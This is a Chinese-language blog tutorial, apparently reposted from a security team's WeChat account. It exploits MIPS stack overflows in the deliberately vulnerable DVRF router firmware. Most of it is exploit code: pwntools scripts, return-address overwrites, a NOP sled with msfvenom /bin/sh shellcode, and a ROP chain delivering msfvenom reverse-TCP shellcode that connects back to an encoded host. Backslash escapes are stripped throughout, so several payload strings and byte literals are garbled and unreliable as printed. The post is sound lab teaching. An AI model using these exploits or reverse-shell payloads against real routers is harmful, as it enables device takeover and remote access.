从DVRF入门IoT漏洞利用

IoT 6个月前 admin
41 0 0

DVRF stack_bof_01

binwalk -Me提取固件后
使用ida查看,发现程序从命令行参数中传递strcpy的数据

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[200]; // [sp+18h] [+18h] BYREF

  if ( argc < 2 )
  {
    puts("Usage: stack_bof_01 <argument>rn-By b1ack0wlr");
    exit(1);
  }
  puts("Welcome to the first BoF exercise!rnr");
  strcpy(v4, argv[1]);
  printf("You entered %s rn", v4);
  return 65;
}

通过cyclic生成

from pwn import *

payload=cyclic(0x300)

with open("payload","w") as f:
    f.write(payload.decode())

这里我们使用qemu-user来模拟,写一个bash脚本帮助我们初始化
记得把所需的链接库目录复制到程序所在目录下

#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q  -L ./ -g 1234 ./stack_bof_01 "`cat payload`"

然后使用gdb-multiarch,使用set arch mips指定架构,target remote:1234开启远程调试,根据cyclic -l可以算出偏移

*GP   0x448b80
*FP   0x407fffc8 ◂— 0x63616163 ('caac')
*SP   0x407fffc8 ◂— 0x63616163 ('caac')
*PC   0x63616162 ('baac')
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
Invalid address 0x63616162






───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ fp sp 0x407fffc8 ◂— 0x63616163 ('caac')
01:0004│       0x407fffcc ◂— 0x63616164 ('daac')
02:0008│       0x407fffd0 ◂— 0x63616165 ('eaac')
03:000c│       0x407fffd4 ◂— 0x63616166 ('faac')
04:0010│       0x407fffd8 ◂— 0x63616167 ('gaac')
05:0014│       0x407fffdc ◂— 0x63616168 ('haac')
06:0018│       0x407fffe0 ◂— 0x63616169 ('iaac')
07:001c│       0x407fffe4 ◂— 0x6361616a ('jaac')
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
 ► f 0 0x63616162
────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x63616162
204

尝试按照x86的思路直接覆盖$ra,这里使用bytes存在null bytes读不进去,最后用的str

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

payload='a'*204+'xe0x08x40'

io=process(b"./q  -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)

io.interactive()

最后异常

*S8   0x61616161 ('aaaa')
*GP   0x448b80
 FP   0x0
*SP   0x40800038 ◂— 0
*PC   0x407ff2a9 ◂— beqz   $v0, 0x4081f27d /* 0x10407ff4 */
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
 ► 0x407ff2a9    beqz   $v0, 0x4081f27d
 
   0x407ff2ad    swr    $ra, -0xf($at)
   0x407ff2b1    ll     $zero, 0x7ff4($v0)



───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ s0 sp 0x40800038 ◂— 0
01:0004│       0x4080003c —▸ 0x40800114 —▸ 0x4080029e ◂— jalx   0x41ccbcb8 /* 0x74732f2e; './stack_bof_01' */
02:0008│       0x40800040 —▸ 0x3ffba724 ◂— 0x4c475f00
03:000c│       0x40800044 —▸ 0x3ffba354 ◂— 0
04:0010│       0x40800048 —▸ 0x3feed5d0 ◂— negu   $v0$a0 /* 0x41023 */
05:0014│       0x4080004c ◂— 0
... ↓          2 skipped
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
 ► f 0 0x407ff2a9
────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

参考Swe3ty博客:

在MIPS中,函数内部会通过t9寄存器和t9寄存器和gp寄存器来找数据,地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址,这样才能正常的索引

在libc.so.0中存在gadget,不过mipsrop找不到,可以手动定位到此处

.text:00006B20 00 00 B9 8F                   lw      $t9, arg_0($sp)
.text:00006B24 09 F8 20 03                   jalr    $t9

先手动关闭地址随机化
对于libc基址,可以对程序函数下断点,建议使用b $rebase(0x)的方式加断点,调试半天才想起来这个,跳转过去查看got地址,然后手算
user模式下vmmap并不方便使用,也可以手动查看进程内存映射

sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
sudo netstat -tunpl|grep 1234 #查看进程PID
sudo cat /proc/*/maps   #查看内存映射,*为进程PID

可以看到:

80eee000-80f29000 r--p 00000000 00:19 562334                            /home/fk/Desktop/cve/DVRF-master/Firmware/_DVRF_v05.bin.extracted/squashfs-root/pwnable/Intro/lib/libc.so.0


最后还是使用start.sh中的命令,所以最终exp修改如下:

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

libc_addr=0x80eee000
gadget1=0x6B20+libc_addr
payload="a"*204+p32(gadget1)+p32(0x4008e0)


with open("payload","w") as f:
 f.write(payload)
# io=process(b"./q  -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)

# io.interactive()

DVRF stack_bof_02

与stack_bof_01类似,不过少了后门函数,mips架构关闭NX保护,所以此题打shellcode即可,可以提前调试出返回的栈上地址然后部署shellcode,最后覆盖$ra为该地址即可
部署shellcode时可以在shellcode前面加上nop sled增强泛用性
jeb2上面给的nop sled是这个
# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes): "x26x40x08x01" $t0属于临时寄存器,nop的原则是对后续执行shellcode不影响,如果用msfvenom生成shellcode可以赌一手

from pwn import *

payload=cyclic(0x300)

with open("payload","w") as f:
    f.write(payload.decode())

使用上面脚本生成padding

使用bash脚本启动

#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q  -L ./ -g 1234  ./stack_bof_02 "`cat payload`"

gdb-multiarch连接上之后测算偏移量

*PC   0x66616163 ('caaf')
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x66616163










─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ fp sp 0x407ffd08 ◂— 0x66616164 ('daaf')
01:0004│       0x407ffd0c ◂— 0x66616165 ('eaaf')
02:0008│       0x407ffd10 ◂— 0x66616166 ('faaf')
03:000c│       0x407ffd14 ◂— 0x66616167 ('gaaf')
04:0010│       0x407ffd18 ◂— 0x66616168 ('haaf')
05:0014│       0x407ffd1c ◂— 0x66616169 ('iaaf')
06:0018│       0x407ffd20 ◂— 0x6661616a ('jaaf')
07:001c│       0x407ffd24 ◂— 0x6661616b ('kaaf')
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0 0x66616163
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x66616163
Finding cyclic pattern of 4 bytes: b'caaf' (hex: 0x63616166)
Found at offset 508
可以测出来偏移为508 
这道题msfvenom生成的shellcode不太稳,可以多生成几次试试,也可以用shell-strom上有的
┌─[fk@fk]─[~]
└──╼ $msfvenom -p linux/mipsle/exec  CMD=/bin/sh  --arch mipsle --platform linux -f py --bad-chars "x00"
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=51, char=0x00)
Attempting to encode payload with 1 iterations of mipsle/byte_xori
mipsle/byte_xori succeeded with size 156 (iteration=0)
mipsle/byte_xori chosen with final size 156
Payload size: 156 bytes
Final size of py file: 778 bytes
buf =  b""
buf += b"xc6xffx0ex24x27x70xc0x01xacxffx0bx24"
buf += b"xffxffx10x05xdex86x08x28x27x58x60x01"
buf += b"x21xc8xebx03x21x80xebx03xeexa5x17x28"
buf += b"xffxffx31x83xfcxffx0dx24x27x30xa0x01"
buf += b"xfexffxcfx20xfcxffx28x83x21xb8xefx02"
buf += b"x12x89x03x39x2bxf0xeex02xfcxffx23xa3"
buf += b"xfaxffxc0x17x21xc8x2fx03xfcxffx04x26"
buf += b"xcbxffx0ax24x27x28x40x01x33x10x02x24"
buf += b"x0cx54x4ax01x12x12x12x12x74x14x14x36"
buf += b"xedxedxc2x16xedxedx14x3axf2xedxafx35"
buf += b"x13x02xf6x35x0dxe2x96x36xfaxedxb6xbd"
buf += b"xfexedxb2xbdxfaxedxb7x35xb9x1dx10x36"
buf += b"x1ex13x13x13x3dx70x7bx7cx3dx61x7ax12"

注意exp里面

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

# libc_addr=0x3fecd000

payload=b""

# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
for i in range(30):
    payload += b"x26x40x08x01"

buf =  b""
buf += b"xc6xffx0ex24x27x70xc0x01xacxffx0bx24"
buf += b"xffxffx10x05xdex86x08x28x27x58x60x01"
buf += b"x21xc8xebx03x21x80xebx03xeexa5x17x28"
buf += b"xffxffx31x83xfcxffx0dx24x27x30xa0x01"
buf += b"xfexffxcfx20xfcxffx28x83x21xb8xefx02"
buf += b"x12x89x03x39x2bxf0xeex02xfcxffx23xa3"
buf += b"xfaxffxc0x17x21xc8x2fx03xfcxffx04x26"
buf += b"xcbxffx0ax24x27x28x40x01x33x10x02x24"
buf += b"x0cx54x4ax01x12x12x12x12x74x14x14x36"
buf += b"xedxedxc2x16xedxedx14x3axf2xedxafx35"
buf += b"x13x02xf6x35x0dxe2x96x36xfaxedxb6xbd"
buf += b"xfexedxb2xbdxfaxedxb7x35xb9x1dx10x36"
buf += b"x1ex13x13x13x3dx70x7bx7cx3dx61x7ax12"


payload +=buf
stack_addr=0x407ffc08
payload+=b"a"*(508-len(payload))+p32(stack_addr)

with open("payload","w") as f:
 f.write(payload)
# io=process(b"./q  -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)

# io.interactive()

从DVRF入门IoT漏洞利用

DVRF socket_bof

前言:

摸了2天🐟把这个看了一下,第一天本来能够出的,结果找的gadget卡在sw语句不执行了,gdb爆warning can’t find the start of the function at xxx,网络上说是无法访问共享库的问题😓;第二天重新找了几个gadget结果最后又出现同样的问题,最后又重新找了几个gadget尽可能简化了操作数才打通

概述:

本题溢出点存在于sprintf函数拼接变量v10长度超过v11缓冲区大小,可以导致v11栈溢出

本题数据传输通过socket,bash脚本指定端口初始化如下

#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q  -L ./ -g 1234  ./socket_bof "9999"

最开始我们gdb-multiarch remote到1234端口后在程序建立监听的函数后下断点c过去,然后使用cyclic脚本测算偏移,脚本如下:

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

io=remote("127.0.0.1",9999)

io.recvuntil(b"Send Me Bytes:")

payload=cyclic(0x300)

io.sendline(payload)

io.interactive()

可以测出偏移为51 

从DVRF入门IoT漏洞利用

然后我们就可以着手exp的编写

为了绕过MIPS架构的缓存不一致性,我们需要主动调用sleep()来使写入的shellcode从D-Cache刷新到I-Cache,所以exp编写流程与前文不同

大致流程:

1.确保能溢出到$ra
2.寻找gadget将$a0值设为1,即sleep的参数
3.寻找gadget执行libc中的sleep并能够返回到下一个gadget
4.寻找gadget将包含shellcode的栈地址储存到寄存器中
5.寻找gadget将寄存器值赋值到跳转语句寄存器上跳转到栈上的正确位置执行shellcode

gadgets查找:

首先是找给$a0寄存器赋值为1的

Found 45 matching gadgets
Python>mipsrop.find("li $a0,1")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00018AA8  |  li $a0,1                                            |  jalr  $s3                             |
|  0x0002FB10  |  li $a0,1                                            |  jalr  $s1                             |
|  0x00012D3C  |  li $a0,1                                            |  jr    0x20+var_s0($sp)                |
|  0x00022420  |  li $a0,1                                            |  jr    0x18+var_s8($sp)                |
|  0x0002A9C8  |  li $a0,1                                            |  jr    0x18+var_s4($sp)                |
----------------------------------------------------------------------------------------------------------------
Found 5 matching gadgets

这里我们采用偏移为0x2FB10的gadget0

.text:0002FB10 01 00 04 24                   li      $a0, 1
.text:0002FB14 21 C8 20 02                   move    $t9$s1
.text:0002FB18 09 F8 20 03                   jalr    $t9 ; sub_2F818

我们需要找到一个能够对$s1赋值的gadget1,查找

Python>mipsrop.find("lw $s1")

可以找到0x7730处的gadget1,并且这里还可以控制一些其它寄存器

.text:00007730 28 00 BF 8F                   lw      $ra, 0x18+var_s10($sp)
.text:00007734 24 00 B3 8F                   lw      $s3, 0x18+var_sC($sp)
.text:00007738 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
.text:0000773C 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
.text:00007740 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
.text:00007744 08 00 E0 03                   jr      $ra

到此处位置,我们需要在执行完sleep后继续执行shellcode的话,需要一个利用ra的gadget2,继续查找

Python>mipsrop.tail()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x0001E03C  |  move $t9,$s1                                        |  jr    $s1                             |
|  0x0001F07C  |  move $t9,$a1                                        |  jr    $a1                             |
|  0x0001F2C0  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x0001FBCC  |  move $t9,$a1                                        |  jr    $a1                             |
|  0x000201F4  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x00020F1C  |  move $t9,$s2                                        |  jr    $s2                             |
|  0x00020FE4  |  move $t9,$s2                                        |  jr    $s2                             |
|  0x00021200  |  move $t9,$s2                                        |  jr    $s2                             |
|  0x00021C34  |  move $t9,$s3                                        |  jr    $s3                             |
|  0x00022E94  |  move $t9,$s1                                        |  jr    $s1                             |
|  0x0002313C  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x000267B4  |  move $t9,$s0                                        |  jr    $s0                             |
|  0x00033AF4  |  move $t9,$s0                                        |  jr    $s0                             |
----------------------------------------------------------------------------------------------------------------
Found 13 matching gadgets

我们使用偏移0x20F1C处的gadget2,不仅能够给s2值进行跳转

.text:00020F1C 21 C8 40 02                   move    $t9$s2
.text:00020F20 24 00 BF 8F                   lw      $ra, 0x18+var_sC($sp)
.text:00020F24 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
.text:00020F28 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
.text:00020F2C 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
.text:00020F30 08 00 20 03                   jr      $t9

我们可以通过jr ra为shellcode的栈地址即可,我们可以通过mipsrop.stackfinder()查找,这个指令是查找将栈地址存入寄存器的gadget,找到偏移0x16DD0处的gadget3

.text:00016DD0 18 00 A4 27                   addiu   $a0$sp, 0x38+var_20
.text:00016DD4 21 C8 00 02                   move    $t9$s0
.text:00016DD8 09 F8 20 03                   jalr    $t9

此处通过控制t9,而a0值存入s0的值为下一个gadget4,查找

Python>mipsrop.find("move $t9,$a0")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000214A0  |  move $t9,$a0                                        |  jalr  $a0                             |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets

偏移0x214A0处的gadget4满足我们的需求

.text:000214A0 21 C8 80 00                   move    $t9$a0
.text:000214A4 18 00 A2 AF                   sw      $v0, 0x30+var_18($sp)
.text:000214A8 09 F8 20 03                   jalr    $t9

所以到目前为止我们梳理一遍思路,可以得出下面的大致流程:

gadget1->gadget0-gadget2->sleep()->gadget3->gadget4->shellcode

可以根据这个流程大致写出payload然后gdb调试 在本机上运行的时候,发现在gadget2上填充padding的时候,需要额外填充0x4字节的数据才能正常给对应寄存器赋值 msfvenom生成shellcode的时候注意指定LHOST和LPORT

exp:

from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)

io=remote("127.0.0.1",9999)

libc_base=0x3fecd000
sleep_func=0x2f2b0+libc_base


# msfvenom -p linux/mipsle/shell_reverse_tcp --arch mipsle --platform linux -f py --bad-chars 'x00'
buf =  b""
buf += b"xfaxffx0fx24x27x78xe0x01xfdxffxe4x21"
buf += b"xfdxffxe5x21xffxffx06x28x57x10x02x24"
buf += b"x0cx01x01x01xffxffxa2xafxffxffxa4x8f"
buf += b"xfdxffx0fx34x27x78xe0x01xe2xffxafxaf"
buf += b"x11x5cx0ex3cx11x5cxcex35xe4xffxaexaf"
buf += b"xf7x83x0ex3cxc0xa8xcex35xe6xffxaexaf"
buf += b"xe2xffxa5x27xefxffx0cx24x27x30x80x01"
buf += b"x4ax10x02x24x0cx01x01x01xfdxffx11x24"
buf += b"x27x88x20x02xffxffxa4x8fx21x28x20x02"
buf += b"xdfx0fx02x24x0cx01x01x01xffxffx10x24"
buf += b"xffxffx31x22xfaxffx30x16xffxffx06x28"
buf += b"x62x69x0fx3cx2fx2fxefx35xecxffxafxaf"
buf += b"x73x68x0ex3cx6ex2fxcex35xf0xffxaexaf"
buf += b"xf4xffxa0xafxecxffxa4x27xf8xffxa4xaf"
buf += b"xfcxffxa0xafxf8xffxa5x27xabx0fx02x24"
buf += b"x0cx01x01x01"
shellcode=buf


gadget0=0x2FB10+libc_base
# .text:0002FB10 01 00 04 24                   li      $a0, 1
# .text:0002FB14 21 C8 20 02                   move    $t9, $s1
# .text:0002FB18 09 F8 20 03                   jalr    $t9 ; sub_2F818


gadget1=0x7730+libc_base
# .text:00007730 28 00 BF 8F                   lw      $ra, 0x18+var_s10($sp)
# .text:00007734 24 00 B3 8F                   lw      $s3, 0x18+var_sC($sp)
# .text:00007738 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
# .text:0000773C 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
# .text:00007740 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
# .text:00007744 08 00 E0 03                   jr      $ra


gadget2=0x20F1C+libc_base
# .text:00020F1C 21 C8 40 02                   move    $t9, $s2
# .text:00020F20 24 00 BF 8F                   lw      $ra, 0x18+var_sC($sp)
# .text:00020F24 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
# .text:00020F28 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
# .text:00020F2C 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
# .text:00020F30 08 00 20 03                   jr      $t9


gadget3=0x16DD0+libc_base
# .text:00016DD0 18 00 A4 27                   addiu   $a0, $sp, 0x38+var_20
# .text:00016DD4 21 C8 00 02                   move    $t9, $s0
# .text:00016DD8 09 F8 20 03                   jalr    $t9


gadget4=0x214A0+libc_base
# .text:000214A0 21 C8 80 00                   move    $t9, $a0
# .text:000214A4 18 00 A2 AF                   sw      $v0, 0x30+var_18($sp)
# .text:000214A8 09 F8 20 03                   jalr    $t9


#stack for gadget1
payload=b"a"*51 #padding
payload+=p32(gadget1) # $ra0->gadget1
payload+=b"a"*0x18 #padding
payload+=b"aaaa" # $s0
payload+=p32(gadget2) # $s1->gadget2
payload+=p32(sleep_func) # $s2->sleep_func
payload+=b"aaaa" #padding
payload+=p32(gadget0) # $ra1->gadget0


#stack for gadget2
payload+=b"a"*0x1c #padding
payload+=p32(gadget4) # $s0->gadget
payload+=b"aaaa"*2 #padding
payload+=p32(gadget3) # $ra2->gadget3

# gadget1->gadget0->gadget2->sleep(1)->gadget3->gadget4

#stack for shellcode
payload+=b"a"*0x18
payload+=shellcode

io.recvuntil(b"Send Me Bytes:")

io.sendline(payload)

io.interactive()

– END –


从DVRF入门IoT漏洞利用

原文始发于微信公众号(ChaMd5安全团队):从DVRF入门IoT漏洞利用

版权声明:admin 发表于 2023年10月30日 上午8:02。
转载请注明:从DVRF入门IoT漏洞利用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...